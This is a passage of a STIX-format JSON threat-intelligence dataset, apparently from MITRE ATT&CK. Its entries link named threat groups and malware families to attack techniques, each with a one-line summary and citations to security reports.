            "id": "relationship--39fdd17c-5f59-4daf-bf14-95841b5ec248",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) uses multiple proxies to obfuscate network traffic from victims.(Citation: US-CERT FALLCHILL Nov 2017)(Citation: TrendMicro macOS Dacls May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "source_name": "US-CERT FALLCHILL Nov 2017"
                },
                {
                    "source_name": "TrendMicro macOS Dacls May 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-dacls-rat-backdoor-show-lazarus-multi-platform-attack-capability/",
                    "description": "Mabutas, G. (2020, May 11). New MacOS Dacls RAT Backdoor Shows Lazarus\u2019 Multi-Platform Attack Capability. Retrieved August 10, 2020."
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "type": "relationship",
            "modified": "2020-08-10T13:25:16.375Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b990e235-dcf4-48c7-800d-b8a10a62eda4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.(Citation: SecureWorks BRONZE UNION June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.secureworks.com/research/bronze-union",
                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
                    "source_name": "SecureWorks BRONZE UNION June 2017"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.302Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--db85ce33-98cf-4fec-93bd-402909cbe4bc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to scan for open ports on hosts in a connected network.(Citation: FireEye Periscope March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html",
                    "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.",
                    "source_name": "FireEye Periscope March 2018"
                }
            ],
            "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-04-22T23:25:33.641Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0741e02b-edaa-43a4-a96c-d6baf2d29015",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A [menuPass](https://attack.mitre.org/groups/G0045) macro deletes files after it has decoded and decompressed them.(Citation: Accenture Hogfish April 2018)(Citation: District Court of NY APT10 Indictment December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-12-17T20:15:30.828Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--3b32f3be-5bdd-4de8-9e39-83b0b8c1e70f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) can delete malware and associated artifacts from the victim.(Citation: US-CERT FALLCHILL Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT FALLCHILL Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA \u2013 North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A"
                }
            ],
            "source_ref": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-27T20:45:20.309Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--8d4effdd-6d91-473d-aa81-d121f1c77881",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:49:19.659Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--41023c59-b41e-454a-ace2-cd98d4fedb8e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Mis-Type](https://attack.mitre.org/software/S0084) uses cmd.exe to run commands for enumerating the host.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T01:58:42.783Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--121a09bd-f603-4476-a149-a3cba52f268c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.794Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--911c0e63-10bc-4fbd-b7b7-0a9e318bb4f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) uses PowerShell for obfuscation and execution.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: ClearSky MuddyWater Nov 2018)(Citation: TrendMicro POWERSTATS V3 June 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/",
                    "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 MuddyWater Nov 2017"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "source_name": "TrendMicro POWERSTATS V3 June 2019",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/muddywater-resurfaces-uses-multi-stage-backdoor-powerstats-v3-and-new-post-exploitation-tools/",
                    "description": "Lunghi, D. and Horejsi, J.. (2019, June 10). MuddyWater Resurfaces, Uses Multi-Stage Backdoor POWERSTATS V3 and New Post-Exploitation Tools. Retrieved May 14, 2020."
                }
            ],
            "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2020-05-18T19:37:52.447Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--521146dd-185d-4a8c-a3b4-b3caedbc7a14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) searches and reads the value of the Windows Update Registry Run key.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T00:54:56.969Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--78da5fc8-6f66-43a5-8ad4-c9c79b506408",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JPIN](https://attack.mitre.org/software/S0201) contains a custom keylogger.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T16:57:38.877Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--3ec34d16-a4e6-4fc7-b819-5a041605aa42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Janicab](https://attack.mitre.org/software/S0163) used a cron job for persistence on Mac devices.(Citation: Janicab)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Janicab",
                    "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.",
                    "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/"
                }
            ],
            "source_ref": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "type": "relationship",
            "modified": "2020-03-19T17:57:25.367Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2286857e-ad96-4dda-abac-988e8cadda5c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) downloads additional plug-ins to load on the victim\u2019s machine, including the ability to upgrade and replace its own binary.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.779Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4d4c8221-17a9-4e5b-86f9-6a0cffc42424",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) uses HTTP for C2.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:29:42.600Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e35a6a79-0ffc-4835-aaf8-e42dd20a7e45",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) has used spearphishing with links to deliver files with exploits to initial victims. The group has also used embedded image tags (known as web bugs) with unique, per-recipient tracking links in their emails for the purpose of identifying which recipients opened messages.(Citation: Symantec Patchwork)(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)(Citation: Unit 42 BackConfig May 2020)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries",
                    "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.",
                    "source_name": "Symantec Patchwork"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                },
                {
                    "source_name": "Unit 42 BackConfig May 2020",
                    "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/",
                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
            "type": "relationship",
            "modified": "2020-07-03T22:15:24.887Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--acb06172-23a6-4190-a568-63da13491e6e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates and uses a VBScript as part of its persistent execution.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 OilRig Sept 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 OopsIE! Feb 2018",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/"
                },
                {
                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
                }
            ],
            "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67",
            "type": "relationship",
            "modified": "2020-03-19T19:05:12.834Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--103f1ad4-feec-4be3-9da7-ee0b2503c318",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "C2 traffic from [ADVSTORESHELL](https://attack.mitre.org/software/S0045) is encrypted, then encoded with Base64 encoding.(Citation: Kaspersky Sofacy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "type": "relationship",
            "modified": "2020-03-20T18:02:42.353Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--512e16e9-634c-45d3-b569-c25a3072bbdc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) searches for interesting files (either a default or customized set of file extensions) on the local system and removable media.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-16T23:56:46.434Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d8c5b193-b49d-4c0e-a9da-072302ff47a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FakeM](https://attack.mitre.org/software/S0076) C2 traffic attempts to evade detection by resembling data generated by legitimate messenger applications, such as MSN and Yahoo! messengers. Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.(Citation: Scarlet Mimic Jan 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
                }
            ],
            "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc",
            "type": "relationship",
            "modified": "2020-03-27T20:41:21.591Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--acca43ee-1e88-4d39-a953-7626173a89b2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) can provide a remote shell. One version of [Helminth](https://attack.mitre.org/software/S0170) uses batch scripting.(Citation: Palo Alto OilRig May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto OilRig May 2016",
                    "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:24:36.513Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--93fc3086-d2c0-4b4d-8a69-278f15176739",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) copies files with certain extensions from USB devices to\na predefined directory.(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.528Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d0013f9d-4243-4ade-8d06-a2cd6158ca58",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HALFBAKED](https://attack.mitre.org/software/S0151) can delete a specified file.(Citation: FireEye FIN7 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0ced8926-914e-4c78-bc93-356fb90dbd1f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c"
        },
        {
            "id": "relationship--9c4a8336-5f5f-4e58-b00d-b6bf1c59ec03",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MoonWind](https://attack.mitre.org/software/S0149) saves information from its keylogging routine as a .zip file in the present working directory.(Citation: Palo Alto MoonWind March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto MoonWind March 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, March 30). Trochilus and New MoonWind RATs Used In Attack Against Thai Organizations. Retrieved March 30, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/"
                }
            ],
            "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T00:29:46.626Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d7cdf423-5fed-4402-b970-f6cf2d8df2bb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) uses a customized XOR algorithm to encrypt C2 communications.(Citation: US-CERT KEYMARBLE Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT KEYMARBLE Aug 2018",
                    "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"
                }
            ],
            "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T02:14:26.687Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--28d4a66d-2b1f-4662-9e8e-4ba8ff4bcaf0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CrossRAT](https://attack.mitre.org/software/S0235) is capable of taking screen captures.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Lookout Dark Caracal Jan 2018",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf"
                }
            ],
            "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-01-17T19:36:09.450Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--afa1f53f-abd9-4e57-b4e1-4e161dd34e9b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
